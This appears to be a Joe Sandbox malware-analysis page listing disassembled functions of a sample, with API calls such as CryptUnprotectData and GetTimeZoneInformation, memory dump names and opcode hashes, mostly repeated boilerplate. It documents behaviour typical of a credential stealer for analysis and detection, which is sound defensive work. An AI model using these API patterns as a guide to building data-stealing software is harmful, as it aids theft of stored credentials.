Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 9edfeadedf7116bbb71736a5ec7140ddbb1ba25c7b5ceca93f5c8c42119600b6
Instruction ID: abb2522baa352b03ee18435a3ddb9ff8751aee81601f36bf2160db9f20d04bbc
Opcode Fuzzy Hash: 9edfeadedf7116bbb71736a5ec7140ddbb1ba25c7b5ceca93f5c8c42119600b6
Instruction Fuzzy Hash: 5F1118B2904118ABCB149FC9E945BBEB7F8FB48B12F10411EF615A2284E27D5940DBB0

Function 00FC7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00C8DEE8,00000000,?,00FD0E10,00000000,?,00000000,00000000), ref: 00FC7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00FC7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00C8DEE8,00000000,?,00FD0E10,00000000,?,00000000,00000000,?), ref: 00FC7A7D
wsprintfA.USER32 ref: 00FC7AB7

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 847390a7aaf17ea5a6bef17092cadc7def10044efae10b7620163568e96266b4
Instruction ID: 1d26a461e3dad02a6200a9d6a5d330df98c7769959729deab5526af30c5972da
Opcode Fuzzy Hash: 847390a7aaf17ea5a6bef17092cadc7def10044efae10b7620163568e96266b4
Instruction Fuzzy Hash: 4F11CEB1905218EBEB209B54DD4AFA9B778FB40721F0003AAE91A932C0D7785E80CF51

Function 00FC3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00FCE118,00000000,00000001,00FCE108,00000000), ref: 00FC3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00FC37B0

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 3fee4f85101735891f15b6fe2eb5a50996a08631f0d8e4736030fc5681a33f2a
Instruction ID: 13c2001ec7d0fb49eb898b13b22927a8e553bc26dbcc49ec22175522bb666751
Opcode Fuzzy Hash: 3fee4f85101735891f15b6fe2eb5a50996a08631f0d8e4736030fc5681a33f2a
Instruction Fuzzy Hash: F2410771A00A289FDB24DB58CC85F9BB7B4BB48302F4081D8E608A72D0D771AEC5CF50

Function 00FB9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00FB9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00FB9BA3
LocalFree.KERNEL32(?), ref: 00FB9BD3

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: f99715c0e73c13aef3cf5f2e05cfa9f9ae4eb78984eab3c0889b273e470db875
Instruction ID: f6a4f64b5252130e78048f75e779d608205a3bd63c7abae99d6a5a4b73191168
Opcode Fuzzy Hash: f99715c0e73c13aef3cf5f2e05cfa9f9ae4eb78984eab3c0889b273e470db875
Instruction Fuzzy Hash: C111BAB8A00209DFDB04DFA4D985AAE77B5FF88300F108568E91597354D774AE50CF61

Function 01347B98 Relevance: 4.0, Strings: 3, Instructions: 219COMMON

Download Yara Rule

Strings

z.^, xrefs: 01347CFF
1 m^, xrefs: 01347BB1
c')7, xrefs: 01347D1C

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1 m^$c')7$z.^
API String ID: 0-1602479497
Opcode ID: b4cacb383ae1d7d3dff516089210d23c73bcfe1cfeb601a538baa1cadc059f08
Instruction ID: 357e7598c79f0dd97543eec0cc182915dd698bb854ef879a1a55cc79453e681d
Opcode Fuzzy Hash: b4cacb383ae1d7d3dff516089210d23c73bcfe1cfeb601a538baa1cadc059f08
Instruction Fuzzy Hash: FC6159B3A186005BD308AE3DDD4563AFBE6EFD4720F16CA3DD5C8D7284EA3548058682

Function 01385DE7 Relevance: 3.4, Strings: 2, Instructions: 865COMMON

Download Yara Rule

Strings

7h~u, xrefs: 01385F66
#hs~, xrefs: 01386059

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #hs~$7h~u
API String ID: 0-1014609230
Opcode ID: c0cc3678ec4f260ae21259a12e80faeac45576cd15a71009cacb9b5c612ed601
Instruction ID: a2460d006347208f0fa58e4fc4143c797e8b45c31ad74348ed8a6432c522f80c
Opcode Fuzzy Hash: c0cc3678ec4f260ae21259a12e80faeac45576cd15a71009cacb9b5c612ed601
Instruction Fuzzy Hash: 76422CF3A0C2049FE7146E2DEC4577ABBD9EBD4320F1A863DEAC4C7344E93558058696

Function 0144A102 Relevance: 2.7, Strings: 2, Instructions: 160COMMON

Download Yara Rule

Strings

r9;], xrefs: 0144A2FE
+t;, xrefs: 0144A34B

Memory Dump Source

Source File: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: r9;]$+t;
API String ID: 0-1413941945
Opcode ID: 248ecb4b789f373f473dfaac65d5a1acb0078f5139293e663cad913303a1b1da
Instruction ID: 0360b9551e8469f17648ac44df9f90d45f385a35dda36387ddefd05c86772a93
Opcode Fuzzy Hash: 248ecb4b789f373f473dfaac65d5a1acb0078f5139293e663cad913303a1b1da
Instruction Fuzzy Hash: C04124B369C204DFF3086E299C8657AB7D9EBD4650F36462FE18347B60F97258438253

Function 0130F1B8 Relevance: 1.5, Strings: 1, Instructions: 215COMMON

Download Yara Rule

Strings

Aw<, xrefs: 0130F232

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Aw<
API String ID: 0-1110198397
Opcode ID: ab0373878c138e5ec49b5033320be86c116a6c9e51237ec090bd5fb870bfd39c
Instruction ID: c779a035ff57eefa041b859b7f6ac3708fbbea52e1b7ba57f88acf8bbfe39bc5
Opcode Fuzzy Hash: ab0373878c138e5ec49b5033320be86c116a6c9e51237ec090bd5fb870bfd39c
Instruction Fuzzy Hash: AD5137F3B183185FE308692DEC55776B7CAD7D0720F2A813DEA4993780EC39AC0542A5

Function 0124611F Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

$4w, xrefs: 012461A2

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $4w
API String ID: 0-2789876972
Opcode ID: 70d2b3f22be43aba7e2902c06b657c89de85537b2cabbff82496ef0f8abeb820
Instruction ID: a16e70a57592923c78a3354aa1926d7aa56dcdda633780f1f1d0d0c102a661db
Opcode Fuzzy Hash: 70d2b3f22be43aba7e2902c06b657c89de85537b2cabbff82496ef0f8abeb820
Instruction Fuzzy Hash: B751F2B3E142204BE308993DDC89366B7999B58320F2B473DDAE9E77C4DC75580546C1

Function 0133E2E6 Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

@~}, xrefs: 0133E3D4

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @~}
API String ID: 0-3301823823
Opcode ID: 0dd63986985e70e2d2f5e2eb96084f1c6852965465e648d2333d08cfe755f6dd
Instruction ID: 93c8e8e342174d88a42d4335e60623b3a092a25b9f4d5910cc7fb9ab635f0bcc
Opcode Fuzzy Hash: 0dd63986985e70e2d2f5e2eb96084f1c6852965465e648d2333d08cfe755f6dd
Instruction Fuzzy Hash: 6651E6F3A083049BE350AE69DC8476AB7E6EFD4310F1A853CDAC487384E6395C058787

Function 0132DAEF Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcd657e8244082c9079923be3e9c45395c37d52b04fc04bb26f9d8757637b2fc
Instruction ID: f7ff986d6906fe6fa1f2662115ab9154ac4627e15fd434e46c4fcb4640773943
Opcode Fuzzy Hash: bcd657e8244082c9079923be3e9c45395c37d52b04fc04bb26f9d8757637b2fc
Instruction Fuzzy Hash: 595106B3A192105BF314996DEC84BBBB7DADBD4321F26863DEEC497784D9780C0186D2

Function 012F42D8 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4e7d89e7fdf1013fafb097c739582b69cf214a8d8fdfe1bec1dd071000b969d
Instruction ID: 488ee91f1ffa86a6db90521351a7283d1154de6222dcc15dc09bb08fc4292a60
Opcode Fuzzy Hash: b4e7d89e7fdf1013fafb097c739582b69cf214a8d8fdfe1bec1dd071000b969d
Instruction Fuzzy Hash: 1F516AB37087084FE304697EED8973ABBDADBD0320F27863ED68493794E97558058286

Function 01279E67 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f44f479de9d1088eb814c4faa97b3c2ebcaafb90c5ee941652d38aaf28d2e1c
Instruction ID: 249efd6b923b96dd074d53352da7c973cf3492db126d1bddb0617c058e55e653
Opcode Fuzzy Hash: 4f44f479de9d1088eb814c4faa97b3c2ebcaafb90c5ee941652d38aaf28d2e1c
Instruction Fuzzy Hash: 6A4129B3A041145BE3009A3EDC84727BAAAEFD4720F2AC13DDA9897348E93559064796

Function 01225806 Relevance: .1, Instructions: 129COMMON

